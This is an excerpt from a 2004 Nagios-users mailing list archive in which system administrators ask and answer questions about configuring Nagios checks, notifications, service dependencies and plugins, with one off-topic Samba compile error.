https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From murray at liquidthinking.co.uk Tue Mar 16 10:06:14 2004 From: murray at liquidthinking.co.uk (Murray Crane) Date: Tue, 16 Mar 2004 09:06:14 +0000 Subject: nagios doesn't display warning and critical situations In-Reply-To: <4056B453.4050108@yogitech.com> References: <4056B453.4050108@yogitech.com> Message-ID: On Tue, 16 Mar 2004 08:01:23 +0000 "stefano razzauti" wrote: > >I check disks by the following plugin check: > >bash-2.03$ ./check_disk -w 20 -c 10 /export/home2 >DISK OK [1454591 kB (8%) free on /dev/dsk/c2t10d0s7] > I'm pretty sure this is in the docs somewhere (it was definitely in the NetSaint docs when I used check_disk with NS; new job, new nagios deployment) but if you don't explicity specify that your warning and critical values are percentages by putting a percentage symbol at the end of them ("-w 20% -c 10%") they are interpreted as kilobyte values! Your current check says "warn on 20k remaining, critical on 10k remaining". :) Kind regards Murray Crane Network Administrator LiquidThinking Ltd ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From murray at liquidthinking.co.uk Tue Mar 16 10:11:46 2004 From: murray at liquidthinking.co.uk (Murray Crane) Date: Tue, 16 Mar 2004 09:11:46 +0000 Subject: state=rszdt? In-Reply-To: References: Message-ID: On Tue, 16 Mar 2004 09:28:05 +0100 "Lammersdorf, Lorenz" wrote: > >"PROCS OK: 51 processes with STATE = RSZDT ". > >what does this rszdt mean?? > man ps But specifically: Runnable, Sleeping, Zombie, Diskwait, sTopped Kind regards Murray Crane Network Administrator LiquidThinking Ltd ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Lorenz.Lammersdorf at Dresdner-Bank.com Tue Mar 16 10:23:28 2004 From: Lorenz.Lammersdorf at Dresdner-Bank.com (Lammersdorf, Lorenz) Date: Tue, 16 Mar 2004 10:23:28 +0100 Subject: AW: state=rszdt? Message-ID: ok, thanks so far, but i confess, my question was not very well verbalised :-) i meant, why is this displayed only for 2 of 5 linux-machines? the messages from the other 3 are like "PROCS OK: 94 processes", without that state-message. and, if there are 53 processes, how many of them are in state R or S and so on? it's not so useful to know that there are a number of processes and all of them or some of them or none may have one of those 5 states. regards lorenz -----Urspr?ngliche Nachricht----- Von: Murray Crane [mailto:murray at liquidthinking.co.uk] Gesendet: Dienstag, 16. M?rz 2004 10:12 An: Lammersdorf, Lorenz; nagios-users at lists.sourceforge.net Betreff: Re: [Nagios-users] state=rszdt? On Tue, 16 Mar 2004 09:28:05 +0100 "Lammersdorf, Lorenz" wrote: > >"PROCS OK: 51 processes with STATE = RSZDT ". > >what does this rszdt mean?? > man ps But specifically: Runnable, Sleeping, Zombie, Diskwait, sTopped Kind regards Murray Crane Network Administrator LiquidThinking Ltd ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gora at wittmann.sk Tue Mar 16 11:33:03 2004 From: gora at wittmann.sk (=?ISO-8859-1?Q?Dezider_G=F3ra?=) Date: Tue, 16 Mar 2004 11:33:03 +0100 Subject: Event viewer events In-Reply-To: <07A38DA3437C7C4CA22B79CEAC36868F5EDF24@kellyfile.kellyadv.com> References: <07A38DA3437C7C4CA22B79CEAC36868F5EDF24@kellyfile.kellyadv.com> Message-ID: <4056D7DF.7050401@wittmann.sk> Yes, feed google with ev2T and you get what you want. This app monitors windoze event log and sends snmp traps to specified host. Using ncsa you can get those traps to nagios. Right now I fight with it.. hth, Dezider. Bruce Markey wrote: > I am running the nsclient and noticed that there is supposedly going > to be another client that can send the event viewer events to a nagios > machine. That client does not seem to be up yet. Has anyone found > another way of doing this? > > Thanks > Bruce Markey > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From aosorio at bestel.com.mx Tue Mar 16 12:07:18 2004 From: aosorio at bestel.com.mx (Alejandro Osorio Garcia) Date: Tue, 16 Mar 2004 05:07:18 -0600 Subject: requierements Message-ID: Hi everybody I'm a newby, and I have a question, how much computers and services can you manage with Nagios, I know it depends of a lot of things, but I would like to know if there are a study or something about this Thanks! ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From lortava at mixmail.com Tue Mar 16 12:17:02 2004 From: lortava at mixmail.com (lorenzo dominguez) Date: Tue, 16 Mar 2004 12:17:02 +0100 Subject: check_oracle . remote host Message-ID: An HTML attachment was scrubbed... URL: From tb at westend.com Tue Mar 16 12:17:40 2004 From: tb at westend.com (Thomas Braun) Date: Tue, 16 Mar 2004 12:17:40 +0100 Subject: Host and Service notification Message-ID: <4056E254.9060400@westend.com> Hi, i have a host which is sometimes unreachable over SMTP , in the same time it is reachable over ICMP. If i restart this Host, i get first a SMTP service alert message an than a Host-Down, Host-UP alert message . But i dont get an SMTP-Service recovery message, how can i change this behavior. i want to get a service recovery-message in any case. Is this possible? Thanks for your help. enclosed the Service definition and the Host definition: define host{ use generic-host host_name mail.example.com alias mail.example.com address X.X.X.X check_command check-host-alive max_check_attempts 3 notification_interval 120 notification_period 24x7 notification_options r,d,u } define service{ use generic-service host_name mail.example.com service_description SMTP is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups sms notification_interval 120 notification_period 24x7 notification_options r,c,w check_command check_smtp } define service{ name generic-service ; The 'name' of this service template, referenced in other service definitions active_checks_enabled 1 ; Active service checks are enabled passive_checks_enabled 1 ; Passive service checks are enabled/accepted parallelize_check 1 ; Active service checks should be parallelized (disabling this can lead to major performance problems) obsess_over_service 1 ; We should obsess over this service (if necessary) check_freshness 0 ; Default is to NOT check service 'freshness' notifications_enabled 1 ; Service notifications are enabled event_handler_enabled 1 ; Service event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL SERVICE, JUST A TEMPLATE! } define host{ name generic-host ; The name of this host template - referenced in other host definitions, used for template recursion/resolution notifications_enabled 1 ; Host notifications are enabled event_handler_enabled 1 ; Host event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL HOST, JUST A TEMPLATE! } cu thomas ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From andre.bergei at ementor.no Tue Mar 16 12:37:12 2004 From: andre.bergei at ementor.no (Andre Bergei) Date: Tue, 16 Mar 2004 12:37:12 +0100 Subject: Large scale network monitoring limits with nagios Message-ID: <3C8515D9676BF9479F7EF3545B63AA220B2109@100NOOSLMSG001.common.alpharoot.net> >The patch didn't apply cleanly to the 1.2 source, so I did it by hand and recreated the diff. >It can be downloaded at: > >http://michael.gargantuan.com/chain-hash-patch.gz Thank you for sharing your edited patch. I have applied the patch, and the cgi's now run at incredible speed, 200% speed increase at least. With the cgi slowdown solved, our nagios implementation is now ready for our planned 3000+ hosts :) /andr? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stephen.patterson at cjgarland.com Tue Mar 16 13:01:02 2004 From: stephen.patterson at cjgarland.com (Stephen Patterson) Date: 16 Mar 2004 12:01:02 +0000 Subject: check_snmp_inverted.pl - New Plugin Message-ID: <1079438462.7911.28.camel@floyd> I've written a new plugin check_snmp_inverted.pl, this is intentionally compatible with the current check_snmp plugin but designed to generate warnings for low numbers rather than high numbers I needed this for some printer monitoring, the main status oid .1.3.6.1.2.1.25.3.5.1.1.1 returns integers from 1 to 5 with 1 indicating error, anything else various OK statuses, though obviously you can use it to monitor anything else which returns low numbers on error rather than high numbers. CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs? E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: check_snmp_inverted.pl Type: text/x-perl Size: 2347 bytes Desc: not available URL: From Samba at guidemail.com Tue Mar 16 15:00:20 2004 From: Samba at guidemail.com (Samba) Date: Tue, 16 Mar 2004 08:00:20 -0600 Subject: Problems Compiling Samba 3.0.2a on SLES8 SP3 Message-ID: <9A7A0D17D695264AAE4E53DD69DF5B8F49B627@mail1.guidehome.com> I'm trying to get Samba to compile on SLES8 SP3 (Linux under z/VM) and I'm getting the following error. Configure ran fine with "./configure --with-ads --with-winbind --with-krb5", but when I run make I get the following output and error. Using FLAGS = -O -I/usr/local/include -I./popt -Iinclude -I/usr/local/downloads/samba-3.0.2a/source/include -I/usr/local/downloads/samba-3.0.2a/source/ubiqx -I/usr/local/downloads/samba-3.0.2a/source/smbwrapper -I. -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE -I/usr/local/include -I/usr/local/downloads/samba-3.0.2a/source LIBS = -lcrypt -lresolv -lnsl -ldl LDSHFLAGS = -shared LDFLAGS = Generating smbd/build_options.c Building include/proto.h creating /usr/local/downloads/samba-3.0.2a/source/include/proto.h Building include/wrepld_proto.h creating /usr/local/downloads/samba-3.0.2a/source/include/wrepld_proto.h Building include/build_env.h creating /usr/local/downloads/samba-3.0.2a/source/nsswitch/winbindd_proto.h creating /usr/local/downloads/samba-3.0.2a/source/web/swat_proto.h creating /usr/local/downloads/samba-3.0.2a/source/client/client_proto.h creating /usr/local/downloads/samba-3.0.2a/source/utils/net_proto.h Compiling dynconfig.c cc1: warning: changing search order for system directory "/usr/local/include" cc1: warning: as it has already been specified as a non-system directory In file included from /usr/include/asm/statfs.h:6, from /usr/include/linux/vfs.h:4, from /usr/include/linux/fs.h:13, from /usr/include/linux/capability.h:17, from /usr/include/sys/capability.h:24, from include/includes.h:355, from dynconfig.c:21: /usr/include/asm-s390/statfs.h:20: redefinition of `struct statfs' make: *** [dynconfig.o] Error 1 Any suggestions are appreciated. Josh Konkol, CNE MCSE Technical Research Specialist .~. GuideOne Insurance /V\ /( )\ ^^-^^ samba at guidemail.com This message and accompanying documents are covered by the Electronic Communications Privacy Act, 18 U.S.C. ?? 2510-2521, and contains information intended for the specified individual(s) only. This information is confidential. If you are not the intended recipient or an agent responsible for delivering it to the intended recipient, you are hereby notified that you have received this document in error and that any review, dissemination, copying, or the taking of any action based on the contents of this information is strictly prohibited. If you have received this communication in error, please notify us immediately by e-mail, and delete the original message. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Tue Mar 16 16:03:14 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Tue, 16 Mar 2004 09:03:14 -0600 Subject: Problems Compiling Samba 3.0.2a on SLES8 SP3 In-Reply-To: <9A7A0D17D695264AAE4E53DD69DF5B8F49B627@mail1.guidehome.com> References: <9A7A0D17D695264AAE4E53DD69DF5B8F49B627@mail1.guidehome.com> Message-ID: <1079449393.7327.4394.camel@localhost> This is a nagios mailing list. On Tue, 2004-03-16 at 08:00, Samba wrote: > I'm trying to get Samba to compile on SLES8 SP3 (Linux under z/VM) and I'm > getting the following error. Configure ran fine with "./configure > --with-ads --with-winbind --with-krb5", but when I run make I get the > following output and error. > > Using FLAGS = -O -I/usr/local/include -I./popt -Iinclude > -I/usr/local/downloads/samba-3.0.2a/source/include > -I/usr/local/downloads/samba-3.0.2a/source/ubiqx > -I/usr/local/downloads/samba-3.0.2a/source/smbwrapper -I. > -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE > -I/usr/local/include -I/usr/local/downloads/samba-3.0.2a/source > LIBS = -lcrypt -lresolv -lnsl -ldl > LDSHFLAGS = -shared > LDFLAGS = > Generating smbd/build_options.c > Building include/proto.h > creating /usr/local/downloads/samba-3.0.2a/source/include/proto.h > Building include/wrepld_proto.h > creating /usr/local/downloads/samba-3.0.2a/source/include/wrepld_proto.h > Building include/build_env.h > creating /usr/local/downloads/samba-3.0.2a/source/nsswitch/winbindd_proto.h > creating /usr/local/downloads/samba-3.0.2a/source/web/swat_proto.h > creating /usr/local/downloads/samba-3.0.2a/source/client/client_proto.h > creating /usr/local/downloads/samba-3.0.2a/source/utils/net_proto.h > Compiling dynconfig.c > cc1: warning: changing search order for system directory > "/usr/local/include" > cc1: warning: as it has already been specified as a non-system directory > In file included from /usr/include/asm/statfs.h:6, > from /usr/include/linux/vfs.h:4, > from /usr/include/linux/fs.h:13, > from /usr/include/linux/capability.h:17, > from /usr/include/sys/capability.h:24, > from include/includes.h:355, > from dynconfig.c:21: > /usr/include/asm-s390/statfs.h:20: redefinition of `struct statfs' > make: *** [dynconfig.o] Error 1 > > Any suggestions are appreciated. > > > > Josh Konkol, CNE MCSE > Technical Research Specialist > .~. GuideOne Insurance > /V\ > /( )\ > ^^-^^ samba at guidemail.com > > > > This message and accompanying documents are covered by the Electronic > Communications Privacy Act, 18 U.S.C. ?? 2510-2521, and contains information > intended for the specified individual(s) only. This information is > confidential. If you are not the intended recipient or an agent responsible > for delivering it to the intended recipient, you are hereby notified that > you have received this document in error and that any review, dissemination, > copying, or the taking of any action based on the contents of this > information is strictly prohibited. If you have received this communication > in error, please notify us immediately by e-mail, and delete the original > message. > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From johnson at nmr.mgh.harvard.edu Tue Mar 16 16:14:28 2004 From: johnson at nmr.mgh.harvard.edu (Chris Johnson) Date: Tue, 16 Mar 2004 10:14:28 -0500 (EST) Subject: Newbie question. Message-ID: I'm sure this has been asked before. But I can't find any archives to go look through. Several config files have a common parameter notification_options I'd REALLY like to know what the options are here. Maybe there's documentation that I've missed. If so please point me to it. I'd also like to know what all can be used in notification_period Help would be appreciated. Thank you. ------------------------------------------------------------------------------- Chris Johnson |Internet: johnson at nmr.mgh.harvard.edu Systems Administrator |Web: http://www.nmr.mgh.harvard.edu/~johnson NMR Center |Voice: 617.726.0949 Mass. General Hospital |FAX: 617.726.7422 149 (2301) 13th Street |"Survival is insufficient" Charlestown, MA., 02129 USA | Seven of nine. ------------------------------------------------------------------------------- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Tue Mar 16 16:22:05 2004 From: agrajag at dragaera.net (Jag) Date: Tue, 16 Mar 2004 10:22:05 -0500 Subject: service dependency In-Reply-To: <000901c40af2$5bed53a0$0d3f91d8@hupan> References: <000901c40af2$5bed53a0$0d3f91d8@hupan> Message-ID: <1079450525.4354.22.camel@pel> On Mon, 2004-03-15 at 20:02, Hu Thomas Pan wrote: > Hi, > > I set up a service dependency but it doesn't seem working. The following is > the definition: > > Define servicedependency { > host_name host_a > service_description service_a > dependent_hostgroup_name group_a,group_b I'm not familiar with 'dependent_hostgroup_name' nor do I see it in the documentation. My servicedependency's use 'dependent_host_name'. What version of nagios are you running? > dependent_service_description service_b > execution_failure_criteria w,u,c > notification_failure_criteria w,u,c > } > > What I want is that service_b on group_a and group_b hosts would depend on > service_a at host host_a. When service_a at host host_a is at w,u,c status, > please stop check service_b on group_a and group_b, ignore notification > relative to service_b on group_a and group_b. Sounds right, except for me having not heard of 'dependent_hostgroup_name' before. How is it not failing? One thing to note, with the way you have everything setup, if service_a on host_a fails, then the status for service_b on the machines in group_a and group_b will NOT change. They will stay in the OK (or whatever) state since no checks will be run to update the state. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 16 16:45:36 2004 From: marc at ena.com (Marc Powell) Date: Tue, 16 Mar 2004 09:45:36 -0600 Subject: Newbie question. Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A344@mismail2.ena.com> On Tuesday, March 16, 2004 9:14 AM, Chris Johnson shared with us: > I'm sure this has been asked before. But I can't find any > archives to go look through. > > Several config files have a common parameter > > notification_options > > I'd REALLY like to know what the options are here. Maybe there's > documentation that I've missed. If so please point me to it. I'd > also like to know what all can be used in > > notification_period > > Help would be appreciated. Thank you. http://nagios.sourceforge.net/docs/1_0/xodtemplate.html#service notification_options: This directive is used to determine when notifications for the service should be sent out. Valid options are a combination of one or more of the following: w = send notifications on a WARNING state, u = send notifications on an UNKNOWN state, c = send notifications on a CRITICAL state, and r = send notifications on recoveries (OK state). If you specify n (none) as an option, no service notifications will be sent out. Example: If you specify w,r in this field, notifications will only be sent out when the service goes into a WARNING state and when it recovers from a WARNING state. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From proftp_cj at kdd.de Tue Mar 16 16:50:15 2004 From: proftp_cj at kdd.de (christian janssen) Date: Tue, 16 Mar 2004 15:50:15 +0000 Subject: Newbie question. In-Reply-To: References: Message-ID: <6.1.0.3.2.20040316154733.0255dec0@195.82.63.16> Chris Please also study RTFM ! At 15:14 16.03.2004, you wrote: > I'm sure this has been asked before. But I can't find any >archives to go look through. > > Several config files have a common parameter > > notification_options http://nagios.sourceforge.net/docs/1_0/xodtemplate.html notification_options: This directive is used to determine when notifications for the service should be sent out. Valid options are a combination of one or more of the following: w = send notifications on a WARNING state, u = send notifications on an UNKNOWN state, c = send notifications on a CRITICAL state, and r = send notifications on recoveries (OK state). If you specify n (none) as an option, no service notifications will be sent out. Example: If you specify w,r in this field, notifications will only be sent out when the service goes into a WARNING state and when it recovers from a WARNING state. cheers Christian ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From meck at chilitech.net Tue Mar 16 16:48:56 2004 From: meck at chilitech.net (Michael Eck) Date: Tue, 16 Mar 2004 10:48:56 -0500 Subject: Newbie question. In-Reply-To: References: Message-ID: <6ED592A7-7761-11D8-A3B5-000A95D9C698@chilitech.net> Check out the docs (i.e., rtfm): http://nagios.sourceforge.net/docs/1_0/xodtemplate.html notification_options answers the question "when should nagios notify?" valid options are d,u, and r for hosts (down, unknown, recover) and w,u,c,r for services (warning, unknown, critical and recover). notification_period indicates the short name of a notification period as specified in your time periods configuration file. see http://nagios.sourceforge.net/docs/1_0/xodtemplate.html#timeperiod Good Luck! On Mar 16, 2004, at 10:14 AM, Chris Johnson wrote: > I'm sure this has been asked before. But I can't find any > archives to go look through. > > Several config files have a common parameter > > notification_options > > I'd REALLY like to know what the options are here. Maybe there's > documentation that I've missed. If so please point me to it. I'd > also like to know what all can be used in > > notification_period > > Help would be appreciated. Thank you. > > ----------------------------------------------------------------------- > -------- > Chris Johnson |Internet: johnson at nmr.mgh.harvard.edu > Systems Administrator |Web: > http://www.nmr.mgh.harvard.edu/~johnson > NMR Center |Voice: 617.726.0949 > Mass. General Hospital |FAX: 617.726.7422 > 149 (2301) 13th Street |"Survival is insufficient" > Charlestown, MA., 02129 USA | Seven of nine. > ----------------------------------------------------------------------- > -------- > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ---- Michael Eck Chilitech Internet Solutions Network Operations Center 570-323-2166 http://www.chilitech.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at bytron.com Tue Mar 16 17:09:23 2004 From: nagios at bytron.com (nagios) Date: Tue, 16 Mar 2004 16:09:23 -0000 Subject: nagios.cfg Message-ID: Hi all I have installed nagios and the plugin. At the stage I have my web interface configured. I also installed the sample scripts. When I run the following command for the preflight /usr/local/nagios/bin/nagios -v /usr/local/nagios/nagios.cfg which hits me back with lots of errors. I have read the documentation but looking for abit of advice how to go about in configuring the scripts for the purpose of a demo on my local machine to check_alive to get a feel for the nagios software. Kind Regards Matthew The contents of this email may be confidential or protected from disclosure to other than intended recipients.If it has reached you by mistake, we apologise and request you to advise us by emailing postmaster at bytron.com. Thank you. BYTRON cannot accept responsibility for any loss or damage arising from the use of this email or attachments. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 3/15/04 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 16 17:22:18 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 16 Mar 2004 11:22:18 -0500 (EST) Subject: Event viewer events In-Reply-To: <4056D7DF.7050401@wittmann.sk> References: <4056D7DF.7050401@wittmann.sk> Message-ID: Also see naplax.sourceforge.net for eventlog -sg On Tue, 16 Mar 2004, Dezider G?ra wrote: > Yes, > feed google with ev2T and you get what you want. > This app monitors windoze event log and sends snmp traps to specified > host. Using ncsa you can get those traps to nagios. > Right now I fight with it.. > hth, > Dezider. > > Bruce Markey wrote: > > > I am running the nsclient and noticed that there is supposedly going > > to be another client that can send the event viewer events to a nagios > > machine. That client does not seem to be up yet. Has anyone found > > another way of doing this? > > > > Thanks > > Bruce Markey > > > > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff at bofus.org Tue Mar 16 17:44:30 2004 From: jeff at bofus.org (Jeffery P. Humes) Date: Tue, 16 Mar 2004 10:44:30 -0600 Subject: Monitoring Long process names on Solaris Message-ID: <40572EEE.2050203@bofus.org> I am pretty new to the nagios scene. I am trying to monitor long named processes on Solaris 8. I can monitor processes with the "check_procs" plugin: ------ check_procs -c 1:1 -C "/opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java" -a -ms384m OK - 1 processes running with command name /opt/bea/jdk131_08/bin/../bin/sparc/native_threads/java, args -ms384m ------ This works fine. However, I run into a problem with processes that have very long names and the name I want to watch is near the end of the string. example: bea 28402 0.2 20.6581704102648 ? S Mar 03 1050:18 